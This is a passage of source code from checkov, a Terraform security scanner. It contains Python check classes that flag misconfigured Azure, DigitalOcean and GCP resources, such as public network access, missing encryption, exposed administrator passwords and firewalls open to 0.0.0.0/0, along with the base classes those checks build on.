conf.get("is_hns_enabled") if hns_enabled is None or not hns_enabled: return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return 'local_user_enabled' def get_expected_value(self) -> bool: return False check = StorageLocalUsers() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageSyncPublicAccessDisabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class NetworkInterfaceEnableIPForwarding(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure File Sync disables public network access" id = "CKV_AZURE_64" supported_resources = ['azurerm_storage_sync'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return 'incoming_traffic_policy' def get_expected_value(self): return 'AllowVirtualNetworksOnly' check = NetworkInterfaceEnableIPForwarding() ================================================ FILE: checkov/terraform/checks/resource/azure/StorageSyncServicePermissiveAccess.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class StorageSyncServicePermissiveAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Storage Sync Service is not configured with overly permissive network access" id = "CKV_AZURE_250" supported_resources = ['azurerm_storage_sync'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: if "incoming_traffic_policy" in conf: if "AllowAllTraffic" in conf["incoming_traffic_policy"]: return CheckResult.FAILED else: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['incoming_traffic_policy'] check = StorageSyncServicePermissiveAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/SynapseSQLPoolDataEncryption.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SynapseSQLPoolDataEncryption(BaseResourceCheck): def __init__(self): name = "Ensure Synapse SQL pools are encrypted" id = "CKV_AZURE_241" supported_resources = ['azurerm_synapse_sql_pool'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'data_encrypted' in conf and conf['data_encrypted'][0] is True: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['data_encrypted'] check = SynapseSQLPoolDataEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/SynapseWorkspaceAdministratorLoginPasswordHidden.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class SynapseWorkspaceAdministratorLoginPasswordHidden(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure Synapse Workspace administrator login password is not exposed" id = "CKV_AZURE_239" supported_resources = ['azurerm_synapse_workspace'] categories = [CheckCategories.SECRETS] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if 'sql_administrator_login_password' in conf: return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['sql_administrator_login_password'] check = SynapseWorkspaceAdministratorLoginPasswordHidden() ================================================ FILE: checkov/terraform/checks/resource/azure/SynapseWorkspaceCMKEncryption.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class SynapseWorkspaceCMKEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure Azure Synapse Workspace is encrypted with a CMK" id = "CKV_AZURE_240" supported_resources = ['azurerm_synapse_workspace'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "customer_managed_key/[0]/key_name" def get_expected_value(self): return ANY_VALUE check = SynapseWorkspaceCMKEncryption() ================================================ FILE: checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesDataExfilProtection.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SynapseWorkspaceEnablesDataExfilProtection(BaseResourceValueCheck): def __init__(self): name = "Ensure that Synapse workspace has data_exfiltration_protection_enabled" id = "CKV_AZURE_157" supported_resources = ['azurerm_synapse_workspace'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'data_exfiltration_protection_enabled' check = SynapseWorkspaceEnablesDataExfilProtection() ================================================ FILE: checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesManagedVirtualNetworks.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SynapseWorkspaceEnablesManagedVirtualNetworks(BaseResourceValueCheck): def __init__(self): name = "Ensure that Azure Synapse workspaces enables managed virtual networks" id = "CKV_AZURE_58" supported_resources = ['azurerm_synapse_workspace'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'managed_virtual_network_enabled' check = SynapseWorkspaceEnablesManagedVirtualNetworks() ================================================ FILE: checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class VMAgentIsInstalled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure VM agent is installed" id = "CKV_AZURE_179" supported_resources = ( "azurerm_windows_virtual_machine", "azurerm_windows_virtual_machine_scale_set", "azurerm_linux_virtual_machine_scale_set", "azurerm_linux_virtual_machine", ) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED ) def get_inspected_key(self) -> str: return "provision_vm_agent" check = VMAgentIsInstalled() ================================================ FILE: checkov/terraform/checks/resource/azure/VMCredsInCustomData.py ================================================ from typing import List, Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.secrets import string_has_secrets, AZURE, GENERAL from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class VMCredsInCustomData(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that no sensitive credentials are exposed in VM custom_data" id = "CKV_AZURE_45" supported_resources = ("azurerm_virtual_machine",) categories = (CheckCategories.SECRETS,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: os_profile = conf.get("os_profile") if os_profile: os_profile = os_profile[0] if isinstance(os_profile, dict): custom_data = os_profile.get("custom_data") if custom_data: custom_data = custom_data[0] if isinstance(custom_data, str): if string_has_secrets(custom_data, AZURE, GENERAL): conf[f'{self.id}_secret'] = custom_data return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ["os_profile/[0]/custom_data"] check = VMCredsInCustomData() ================================================ FILE: checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class VMDisablePasswordAuthentication(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that Virtual machine does not enable password authentication" id = "CKV_AZURE_149" supported_resources = ['azurerm_linux_virtual_machine_scale_set', 'azurerm_linux_virtual_machine'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_forbidden_values(self) -> str: return [False] def get_inspected_key(self) -> str: return "disable_password_authentication" check = VMDisablePasswordAuthentication() ================================================ FILE: checkov/terraform/checks/resource/azure/VMDiskWithPublicAccess.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class VMDiskWithPublicAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Azure Virtual Machine disks are configured without public network access" id = "CKV_AZURE_251" supported_resources = ['azurerm_managed_disk'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: if "public_network_access_enabled" in conf: if "True" in conf["public_network_access_enabled"] or True in conf["public_network_access_enabled"]: return CheckResult.FAILED else: return CheckResult.PASSED else: return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['public_network_access_enabled'] check = VMDiskWithPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class VMEncryptionAtHostEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Virtual machine scale sets have encryption at host enabled" id = "CKV_AZURE_97" supported_resources = ['azurerm_linux_virtual_machine_scale_set', 'azurerm_windows_virtual_machine_scale_set'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'encryption_at_host_enabled' check = VMEncryptionAtHostEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/VMScaleSetsAutoOSImagePatchingEnabled.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class VMScaleSetsAutoOSImagePatchingEnabled(BaseResourceCheck): def __init__(self): name = "Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets" id = "CKV_AZURE_95" supported_resources = ['azurerm_virtual_machine_scale_set'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'automatic_os_upgrade' in conf and conf['automatic_os_upgrade'][0] \ and 'os_profile_windows_config' in conf and conf['os_profile_windows_config'][0]: os_profile_windows_config = conf['os_profile_windows_config'][0] self.evaluated_keys = ['os_profile_windows_config'] if 'enable_automatic_upgrades' in os_profile_windows_config \ and os_profile_windows_config['enable_automatic_upgrades'][0]: self.evaluated_keys = ['automatic_os_upgrade', 'os_profile_windows_config/[0]/enable_automatic_upgrades'] return CheckResult.PASSED return CheckResult.FAILED check = VMScaleSetsAutoOSImagePatchingEnabled() ================================================ FILE: checkov/terraform/checks/resource/azure/VMStorageOsDisk.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class VMStorageOsDisk(BaseResourceCheck): def __init__(self): name = "Ensure that Virtual Machines use managed disks" id = "CKV_AZURE_92" supported_resources = ['azurerm_linux_virtual_machine', 'azurerm_windows_virtual_machine'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): storage_os_disk = conf.get('storage_os_disk') storage_data_disk = conf.get('storage_data_disk') if storage_os_disk and 'vhd_uri' in storage_os_disk[0]: self.evaluated_keys = ['storage_os_disk'] return CheckResult.FAILED if storage_data_disk and 'vhd_uri' in storage_data_disk[0]: self.evaluated_keys = ['storage_data_disk'] return CheckResult.FAILED self.evaluated_keys = ['storage_os_disk'] if storage_os_disk else [] if storage_data_disk: self.evaluated_keys.append('storage_data_disk') return CheckResult.PASSED check = VMStorageOsDisk() ================================================ FILE: checkov/terraform/checks/resource/azure/VnetLocalDNS.py ================================================ from __future__ import annotations from ipaddress import ip_network, ip_address from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class VnetLocalDNS(BaseResourceCheck): def __init__(self) -> None: """Avoid taking a dependency on external DNS servers for local communication such as those deployed on-premises. Where possible consider deploying Azure Private DNS Zones, a platform-as-a-service (PaaS) DNS service for VNETs""" name = "Ensure that VNET uses local DNS addresses" id = "CKV_AZURE_183" supported_resources = ("azurerm_virtual_network",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "dns_servers" in conf and conf["dns_servers"] and isinstance(conf["dns_servers"], list): dns_servers = conf["dns_servers"][0] if dns_servers: for ip in dns_servers: if "address_space" in conf and conf["address_space"] and isinstance(conf["address_space"], list): address_spaces = conf["address_space"][0] if isinstance(address_spaces, list): for address_range in address_spaces: if not isinstance(address_range, str): continue try: net = ip_network(address_range) ip_add = ip_address(ip) if isinstance(ip, str) else None except ValueError: return CheckResult.UNKNOWN if isinstance(ip, str) and ip_add in net: return CheckResult.PASSED self.evaluated_keys = ["dns_servers"] return CheckResult.FAILED return CheckResult.PASSED check = VnetLocalDNS() ================================================ FILE: checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class VnetSingleDNSServer(BaseResourceCheck): def __init__(self) -> None: """Using a single DNS server may indicate a single point of failure where the DNS IP address is not load balanced.""" name = "Ensure that VNET has at least 2 connected DNS Endpoints" id = "CKV_AZURE_182" supported_resources = ("azurerm_virtual_network", "azurerm_virtual_network_dns_servers") categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "dns_servers" in conf and conf["dns_servers"] and isinstance(conf["dns_servers"], list): dns_servers = conf["dns_servers"][0] if dns_servers and len(dns_servers) == 1: self.evaluated_keys = ["dns_servers"] return CheckResult.FAILED return CheckResult.PASSED check = VnetSingleDNSServer() ================================================ FILE: checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class WinVMAutomaticUpdates(BaseResourceValueCheck): def __init__(self) -> None: """ If enabled, updates are automatically applied """ name = "Ensure Windows VM enables automatic updates" id = "CKV_AZURE_177" supported_resources = ("azurerm_windows_virtual_machine", "azurerm_windows_virtual_machine_scale_set") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "enable_automatic_updates" check = WinVMAutomaticUpdates() ================================================ FILE: checkov/terraform/checks/resource/azure/WinVMEncryptionAtHost.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class WinVMEncryptionAtHost(BaseResourceValueCheck): def __init__(self): """ If enabled, all the disks (including the temp disk) attached to this Virtual Machine will be encrypted if not enabled: https://learn.microsoft.com/en-gb/azure/virtual-machines/disks-enable-host-based-encryption-portal?tabs=azure-cli#prerequisites """ name = "Ensure Windows VM enables encryption" id = "CKV_AZURE_151" supported_resources = ['azurerm_windows_virtual_machine'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encryption_at_host_enabled" check = WinVMEncryptionAtHost() ================================================ FILE: checkov/terraform/checks/resource/azure/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/base_cloudsplaining_resource_iam_check.py ================================================ from __future__ import annotations import fnmatch import logging from abc import ABC from typing import Dict, List, Any, Union from cloudsplaining.scan.policy_document import PolicyDocument from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner class BaseTerraformCloudsplainingResourceIAMCheck(BaseResourceCheck, BaseTerraformCloudsplainingIAMScanner, ABC): def __init__(self, name: str, id: str) -> None: supported_resources = ( "aws_iam_role_policy", "aws_iam_user_policy", "aws_iam_group_policy", "aws_iam_policy", "aws_ssoadmin_permission_set_inline_policy", ) super().__init__(name=name, id=id, categories=(CheckCategories.IAM,), supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: return self.scan_conf(conf) @property def cache_key(self) -> str: return self.entity_path def should_scan_conf(self, conf: Dict[str, List[Any]]) -> bool: if self.entity_type == "aws_ssoadmin_permission_set_inline_policy": return "inline_policy" in conf return "policy" in conf def convert_to_iam_policy(self, conf: Dict[str, Any]) -> PolicyDocument: if self.entity_type == "aws_ssoadmin_permission_set_inline_policy": policy: dict[str, Any] = conf['inline_policy'][0] else: policy = conf['policy'][0] return PolicyDocument(policy) def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument, violating_actions: Union[List[str], List[Dict[str, Any]]]) -> None: try: # in case we have violating actions for this policy we start looking for it through the statements for stmt_idx, statement in enumerate(policy.statements): actions = statement.statement.get('Action') # get the actions for this statement if actions: if isinstance(actions, str): for violating_action in violating_actions: if fnmatch.fnmatch(violating_action.lower(), actions.lower()): # found the violating action in our list of actions self.evaluated_keys.append(f"policy/Statement/[{stmt_idx}]/Action") return if isinstance(actions, list): for action in actions: # go through the actions of this statement and try to match one violation for violating_action in violating_actions: if isinstance(action, str) and fnmatch.fnmatch(violating_action.lower(), action.lower()): # found the violating action in our list of actions self.evaluated_keys.append(f"policy/Statement/[{stmt_idx}]/Action") return except Exception as e: logging.warning(f'Failed enriching cloudsplaining evaluated keys due to: {e}') ================================================ FILE: checkov/terraform/checks/resource/base_registry.py ================================================ from typing import Dict, Any, Tuple from checkov.common.checks.base_check_registry import BaseCheckRegistry class Registry(BaseCheckRegistry): def extract_entity_details(self, entity: Dict[str, Any]) -> Tuple[str, str, Dict[str, Any]]: resource_type = list(entity.keys())[0] resource_name = list(list(entity.values())[0].keys())[0] resource_object = entity[resource_type] resource_configuration = resource_object[resource_name] return resource_type, resource_name, resource_configuration ================================================ FILE: checkov/terraform/checks/resource/base_resource_check.py ================================================ from abc import abstractmethod from collections.abc import Iterable from typing import Dict, List, Any, Optional from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.var_utils import is_terraform_variable_dependent from checkov.terraform.checks.resource.registry import resource_registry from checkov.terraform.parser_functions import handle_dynamic_values class BaseResourceCheck(BaseCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", guideline: Optional[str] = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_resources, block_type="resource", guideline=guideline, ) self.supported_resources = supported_resources resource_registry.register(self) @staticmethod def _is_variable_dependant(value: Any) -> bool: return is_terraform_variable_dependent(value) def scan_entity_conf(self, conf: Dict[str, List[Any]], entity_type: str) -> CheckResult: self.entity_type = entity_type if conf.get("count") == [0]: return CheckResult.UNKNOWN handle_dynamic_values(conf) return self.scan_resource_conf(conf) @abstractmethod def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: """ self.evaluated_keys should be set with a JSONPath of the attribute inspected. If not relevant it should be set to an empty array so the previous check's value gets overridden in the report. """ raise NotImplementedError() ================================================ FILE: checkov/terraform/checks/resource/base_resource_negative_value_check.py ================================================ from abc import abstractmethod from collections.abc import Iterable from typing import List, Dict, Any, Optional import dpath from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.terraform.graph_builder.utils import get_referenced_vertices_in_value from checkov.terraform.parser_functions import handle_dynamic_values class BaseResourceNegativeValueCheck(BaseResourceCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", missing_attribute_result: CheckResult = CheckResult.PASSED, guideline: Optional[str] = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline, ) self.missing_attribute_result = missing_attribute_result def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: handle_dynamic_values(conf) excluded_key = self.get_excluded_key() if excluded_key is not None: if dpath.search(conf, excluded_key) != {}: value = dpath.get(conf, excluded_key) if isinstance(value, list) and len(value) == 1: value = value[0] if self.check_excluded_condition(value): return CheckResult.PASSED inspected_key = self.get_inspected_key() bad_values = self.get_forbidden_values() if dpath.search(conf, inspected_key) != {}: value = dpath.get(conf, inspected_key) if isinstance(value, list) and len(value) == 1: value = value[0] if value is None or (isinstance(value, list) and not value): return self.missing_attribute_result if get_referenced_vertices_in_value(value=value, aliases={}, resources_types=[]): # we don't provide resources_types as we want to stay provider agnostic return CheckResult.UNKNOWN # value can still be a list if isinstance(value, list): for val in value: if val in bad_values: return CheckResult.FAILED if value in bad_values or ANY_VALUE in bad_values: return CheckResult.FAILED else: return CheckResult.PASSED return self.missing_attribute_result @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() @abstractmethod def get_forbidden_values(self) -> List[Any]: """ Returns a list of vulnerable values for the inspected key, governed by provider best practices """ raise NotImplementedError() def get_excluded_key(self) -> Optional[str]: """ :return: JSONPath syntax path of the an attribute that provides exclusion condition for the inspected key """ return None def check_excluded_condition(self, value: str) -> bool: """ :param: value: value for excluded_key :return: True if the value should exclude the check from failing if the inspected key has a bad value """ return False def get_evaluated_keys(self) -> List[str]: return force_list(self.get_inspected_key()) ================================================ FILE: checkov/terraform/checks/resource/base_resource_value_check.py ================================================ import logging from abc import abstractmethod from collections.abc import Iterable from typing import List, Dict, Any, Optional import dpath import re from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.models.consts import ANY_VALUE from checkov.common.util.type_forcers import force_list from checkov.terraform.graph_builder.utils import get_referenced_vertices_in_value from checkov.terraform.parser_functions import handle_dynamic_values ARRAY_INDEX_PATTERN = re.compile(r"^\[?\d+]?$") class BaseResourceValueCheck(BaseResourceCheck): def __init__( self, name: str, id: str, categories: "Iterable[CheckCategories]", supported_resources: "Iterable[str]", missing_block_result: CheckResult = CheckResult.FAILED, guideline: Optional[str] = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline, ) self.missing_block_result = missing_block_result @staticmethod def _filter_key_path(path: str) -> List[str]: """ Filter an attribute path to contain only named attributes by dropping array indices from the path) :param path: valid JSONPath of an attribute :return: List of named attributes with respect to the input JSONPath order """ return [x for x in path.split("/") if not re.search(ARRAY_INDEX_PATTERN, x)] @staticmethod def _is_nesting_key(inspected_attributes: List[str], key: List[str]) -> bool: """ Resolves whether a key is a subset of the inspected nesting attributes :param inspected_attributes: list of nesting attributes :param key: JSONPath key of an attribute :return: True/False """ return any(x in key for x in inspected_attributes) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: handle_dynamic_values(conf) inspected_key = self.get_inspected_key() expected_values = self.get_expected_values() if dpath.search(conf, inspected_key) != {}: # Inspected key exists value = dpath.get(conf, inspected_key) if isinstance(value, list) and len(value) == 1: value = value[0] if value is None or (isinstance(value, list) and not value): return self.missing_block_result if ANY_VALUE in expected_values and value is not None and (not isinstance(value, str) or value): # Key is found on the configuration - if it accepts any value, the check is PASSED return CheckResult.PASSED if self._is_variable_dependant(value): # If the tested attribute is variable-dependant, then result is UNKNOWN return CheckResult.UNKNOWN if value in expected_values: return CheckResult.PASSED if not isinstance(value, str) and str(value) in expected_values: logging.debug(f"Check {self.id} is set to pass even though the type of value {value} is not str (it is {type(value)}), while {str(value)} is an expected value") return CheckResult.PASSED if get_referenced_vertices_in_value(value=value, aliases={}, resources_types=[]): # we don't provide resources_types as we want to stay provider agnostic return CheckResult.UNKNOWN return CheckResult.FAILED else: # Look for the configuration in a bottom-up fashion inspected_attributes = self._filter_key_path(inspected_key) for attribute in reversed(inspected_attributes): for sub_key, sub_conf in dpath.search(conf, f"**/{attribute}", yielded=True): filtered_sub_key = self._filter_key_path(sub_key) # Only proceed with check if full path for key is similar - not partial match if inspected_attributes == filtered_sub_key: if self._is_nesting_key(inspected_attributes, filtered_sub_key): if isinstance(sub_conf, list) and len(sub_conf) == 1: sub_conf = sub_conf[0] if sub_conf in self.get_expected_values(): return CheckResult.PASSED if self._is_variable_dependant(sub_conf): # If the tested attribute is variable-dependant, then result is UNKNOWN return CheckResult.UNKNOWN return self.missing_block_result @abstractmethod def get_inspected_key(self) -> str: """ :return: JSONPath syntax path of the checked attribute """ raise NotImplementedError() def get_expected_values(self) -> List[Any]: """ Override the method with the list of acceptable values if the check has more than one possible expected value, given the inspected key :return: List of expected values, defaults to a list of the expected value """ return [self.get_expected_value()] def get_expected_value(self) -> Any: """ Returns the default expected value, governed by provider best practices """ return True def get_evaluated_keys(self) -> List[str]: return force_list(self.get_inspected_key()) ================================================ FILE: checkov/terraform/checks/resource/digitalocean/DropletSSHKeys.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any from checkov.common.models.consts import ANY_VALUE class DropletSSHKeys(BaseResourceValueCheck): def __init__(self): name = "Ensure the droplet specifies an SSH key" id = "CKV_DIO_2" supported_resources = ['digitalocean_droplet'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "ssh_keys" def get_expected_value(self) -> Any: return ANY_VALUE check = DropletSSHKeys() ================================================ FILE: checkov/terraform/checks/resource/digitalocean/FirewallIngressOpen.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.type_forcers import force_list from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class FirewallIngressOpen(BaseResourceCheck): def __init__(self) -> None: name = "Ensure the firewall ingress is not wide open" id = "CKV_DIO_4" supported_resources = ["digitalocean_firewall"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: self.evaluated_keys = ["inbound_rule"] inbound_rules = conf.get("inbound_rule") if inbound_rules: for rule in force_list(inbound_rules[0]): if not rule: continue sources = rule.get("source_addresses") if sources: for idx, source in enumerate(sources[0]): self.evaluated_keys = [f"inbound_rule/[0]/source_addresses/[{idx}]"] if source in ("0.0.0.0/0", "::/0"): return CheckResult.FAILED return CheckResult.PASSED check = FirewallIngressOpen() ================================================ FILE: checkov/terraform/checks/resource/digitalocean/SpacesBucketPublicRead.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import List, Any class SpaceBucketPublicRead(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure the Spaces bucket is private" id = "CKV_DIO_3" supported_resources = ['digitalocean_spaces_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.PASSED) def get_inspected_key(self): return "acl" def get_forbidden_values(self) -> List[Any]: return ["public-read"] check = SpaceBucketPublicRead() ================================================ FILE: checkov/terraform/checks/resource/digitalocean/SpacesBucketVersioning.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class SpaceBucketVersioning(BaseResourceValueCheck): def __init__(self): name = "Ensure the Spaces bucket has versioning enabled" id = "CKV_DIO_1" supported_resources = ['digitalocean_spaces_bucket'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): self.evaluated_keys = ["versioning/[0]/enabled"] return "versioning/[0]/enabled" check = SpaceBucketVersioning() ================================================ FILE: checkov/terraform/checks/resource/digitalocean/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/checks/resource/gcp/AbsGoogleBasicRoles.py ================================================ from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck BASIC_ROLES = { "roles/owner", "roles/editor", "roles/viewer", } class AbsGoogleBasicRoles(BaseResourceCheck): def scan_resource_conf(self, conf): self.evaluated_keys = ['role'] role = conf.get("role") if role and isinstance(role, list) and role[0] in BASIC_ROLES: return CheckResult.FAILED return CheckResult.PASSED ================================================ FILE: checkov/terraform/checks/resource/gcp/AbsGoogleComputeFirewallUnrestrictedIngress.py ================================================ from checkov.common.util.type_forcers import force_int from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class AbsGoogleComputeFirewallUnrestrictedIngress(BaseResourceCheck): def __init__(self, name, id, categories, supported_resources, port): super().__init__(name, id, categories, supported_resources) self.port = port def scan_resource_conf(self, conf): if 'allow' in conf: allow_blocks = conf['allow'] self.evaluated_keys = ['allow'] for block in allow_blocks: if isinstance(block, str): self.evaluated_keys = [f'allow/[{allow_blocks.index(block)}]'] return CheckResult.UNKNOWN if 'ports' in block: if self._is_port_in_range(block['ports']): source_ranges_list = conf.get('source_ranges', []) if source_ranges_list: source_ranges = source_ranges_list[0] if source_ranges and "0.0.0.0/0" in source_ranges: # nosec self.evaluated_keys = [f'allow/[{allow_blocks.index(block)}]/ports', 'source_ranges'] return CheckResult.FAILED return CheckResult.PASSED def _is_port_in_range(self, ports_list): if len(ports_list) == 0: return False if 